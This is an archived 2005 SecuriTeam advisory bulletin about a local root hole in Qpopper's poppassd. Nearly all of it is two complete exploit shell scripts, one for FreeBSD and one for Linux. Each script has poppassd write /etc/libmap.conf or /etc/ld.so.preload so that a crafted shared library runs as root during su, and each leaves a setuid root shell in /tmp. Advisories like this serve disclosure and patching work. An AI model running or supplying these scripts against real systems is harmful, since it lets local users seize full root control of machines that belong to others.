

Securiteam: [EXPL] Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, Id.so.preload)

[EXPL] Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, Id.so.preload)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-09/0096.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 09/27/05

To: list@securiteam.com

Date: 27 Sep 2005 15:25:23 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, Id.so.preload)

SUMMARY

" <<http://netwinsite.com/poppassd/>> Poppassd is a program that changes system passwords thus allowing users to change their mail passwords."

Lack of proper permission validation allows attackers to gain root privileges and execute arbitrary code using Qpopper poppassd.

DETAILS

FreeBSD Exploit:

```
#!/bin/sh
```

```
#####
```

```
# FreeBSD Qpopper poppassd latest version local r00t exploit by kcope ##
```

```
# tested on FreeBSD 5.4-RELEASE
```

```
##
```

```
#####
```

```
POPPASSD_PATH=/usr/local/bin/poppassd
```

```
HOOKLIB=libutil.so.4
```

Securiteam: [EXPL] Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, ld.so.preload)

```
echo ""
echo "FreeBSD Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/libmap.conf ]; then
echo "OOPS /etc/libmap.conf already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
if (!geteuid()) {
remove("/etc/libmap.conf");
execl("/bin/sh", "sh", "-c", "/bin/cp /bin/sh /tmp/xxxx ; /bin/chmod +xs
/tmp/xxxx", NULL);
}
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "---- Now type ENTER ----"
echo ""
$POPPASSD_PATH -t /etc/libmap.conf
echo $HOOKLIB ../../../../tmp/libno_ex.so.1.0 > /etc/libmap.conf
su
if [ -f /tmp/xxxx ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/xxxx
else
echo "Sorry, exploit failed."
fi

#EoF

Linux Exploit:
#!/bin/sh
#####
# Linux Qpopper poppassd latest version local r00t exploit by kcope ##
# August 2005 ##
# Confidential - Keep Private! ##
#####
```

Securiteam: [EXPL] Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, ld.so.preload)

```
POPPASSD_PATH=/usr/local/bin/poppassd
```

```
echo ""
echo "Linux Qpopper poppassd latest version local r00t exploit by kcope"
echo ""
sleep 2
umask 0000
if [ -f /etc/ld.so.preload ]; then
echo "OOPS /etc/ld.so.preload already exists.. exploit failed!"
exit
fi
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init()
{
  if (!geteuid()) {
    setgid(0);
    setuid(0);
    remove("/etc/ld.so.preload");
    execl("/bin/sh", "sh", "-c", "chown root:root /tmp/suid; chmod +s
/tmp/suid", NULL);
  }
}

_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o
-nostartfiles
cat > suid.c << _EOF
int main(void) {
  setgid(0); setuid(0);
  unlink("/tmp/suid");
  execl("/bin/sh", "sh", 0); }
_EOF

gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
echo "---- Now type ENTER ----"
echo ""
$POPPASSD_PATH -t /etc/ld.so.preload
echo /tmp/libno_ex.so.1.0 > /etc/ld.so.preload
su
if [ -f /tmp/suid ]; then
echo "IT'S A ROOTSHELL!!!"
/tmp/suid
else
echo "Sorry, exploit failed."
```

Securiteam: [EXPL] Qpopper Poppassd Local Root (Linux, FreeBSD, Exploit, Id.so.preload)

fi
#EoF

ADDITIONAL INFORMATION

The information has been provided by <mailto:kingcope@gmx.net> kcope .

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.